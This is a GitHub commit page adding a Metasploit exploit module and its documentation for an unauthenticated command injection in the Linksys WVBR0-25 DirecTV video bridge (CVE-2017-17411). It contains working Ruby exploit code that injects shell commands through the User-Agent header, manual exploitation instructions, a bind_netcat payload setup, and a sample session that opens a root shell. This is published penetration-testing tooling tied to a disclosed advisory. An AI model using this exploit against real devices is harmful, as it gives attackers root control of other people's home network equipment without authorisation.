Skip to content

Commit c3f10c1

Browse files
committed
Land rapid7#9336, Linksys WVBR0-25 exploit
2 parents a5fa634 + 589de04 commit c3f10c1

File tree

2 files changed

+167
-0
lines changed

2 files changed

+167
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in the Linksys WVBR0-25 wireless video bridge. More information about the device itself can be found on AT&T's [manuals page](https://www.att.com/help/manuals/directv/dvrs.html) under the "DIRECTV Wireless Video Bridge Gen2 Product Manual" heading, as well as on this [unofficial product page](https://www.solidsignal.com/pview.asp?p=wvb). A description of the exploited vulnerability is available in the Vulnerability Details section of [this advisory](http://www.zerodayinitiative.com/advisories/ZDI-17-973/).
4+
The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
5+
6+
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to `"; printf "[random string]`. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
7+
8+
Manual exploitation would equate to browsing to the URI `http://<ip>/` with the User-Agent header set to `"; command;`.
9+
10+
Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
11+
12+
## Verification Steps
13+
14+
1. Make sure the device is running.
15+
2. Start msfconsole.
16+
3. Do: ```use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth```
17+
4. Do: ```set payload cmd/unix/bind_netcat```
18+
5. Do: ```set RHOST [ip]```
19+
6. Do: ```exploit```
20+
7. You should get a shell.
21+
22+
## Options
23+
24+
**PAYLOAD**
25+
26+
The `generic` and `netcat` payload types are valid.
27+
28+
## Scenarios
29+
30+
### Firmware 1.0.39
31+
32+
The following is an example run getting a shell:
33+
34+
```
35+
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
36+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
37+
payload => cmd/unix/bind_netcat
38+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
39+
RHOST => 10.0.0.104
40+
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
41+
42+
[*] 10.0.0.104:80 - Trying to access the device ...
43+
[*] Started bind handler
44+
[*] 10.0.0.104:80 - Exploiting...
45+
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
46+
id
47+
48+
uid=0(root) gid=0(root)
49+
```
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
14+
'Description' => %q{
15+
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
16+
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
17+
of the web management portal via the User-Agent header. Authentication is not required to
18+
exploit this vulnerability.
19+
},
20+
'Author' =>
21+
[
22+
'HeadlessZeke' # Vulnerability discovery and Metasploit module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
['CVE', '2017-17411'],
28+
['ZDI', '17-973'],
29+
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
30+
],
31+
'DisclosureDate' => 'Dec 13 2017',
32+
'Privileged' => true,
33+
'Payload' =>
34+
{
35+
'DisableNops' => true,
36+
'Space' => 1024,
37+
'Compat' =>
38+
{
39+
'PayloadType' => 'cmd',
40+
'RequiredCmd' => 'generic netcat'
41+
}
42+
},
43+
'Platform' => 'unix',
44+
'Arch' => ARCH_CMD,
45+
'Targets' => [[ 'Automatic', { }]],
46+
'DefaultTarget' => 0
47+
))
48+
end
49+
50+
def check
51+
check_str = rand_text_alpha(8)
52+
begin
53+
res = send_request_raw({
54+
'method' => 'GET',
55+
'uri' => '/',
56+
'agent' => "\"; printf \"#{check_str}"
57+
})
58+
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
59+
return Exploit::CheckCode::Vulnerable
60+
end
61+
rescue ::Rex::ConnectionError
62+
return Exploit::CheckCode::Unknown
63+
end
64+
65+
Exploit::CheckCode::Safe
66+
end
67+
68+
def exploit
69+
print_status("#{peer} - Trying to access the device ...")
70+
71+
unless check == Exploit::CheckCode::Vulnerable
72+
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
73+
end
74+
75+
print_status("#{peer} - Exploiting...")
76+
77+
if datastore['PAYLOAD'] == 'cmd/unix/generic'
78+
exploit_cmd
79+
else
80+
exploit_session
81+
end
82+
end
83+
84+
def exploit_cmd
85+
beg_boundary = rand_text_alpha(8)
86+
87+
begin
88+
res = send_request_raw({
89+
'method' => 'GET',
90+
'uri' => '/',
91+
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
92+
})
93+
94+
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
95+
print_good("#{peer} - Command sent successfully")
96+
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
97+
print_status("#{peer} - Command output: #{$1}")
98+
end
99+
else
100+
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
101+
end
102+
rescue ::Rex::ConnectionError
103+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
104+
end
105+
end
106+
107+
def exploit_session
108+
begin
109+
send_request_raw({
110+
'method' => 'GET',
111+
'uri' => '/',
112+
'agent' => "\"; #{payload.encoded} #"
113+
})
114+
rescue ::Rex::ConnectionError
115+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
116+
end
117+
end
118+
end

0 commit comments

Comments
 (0)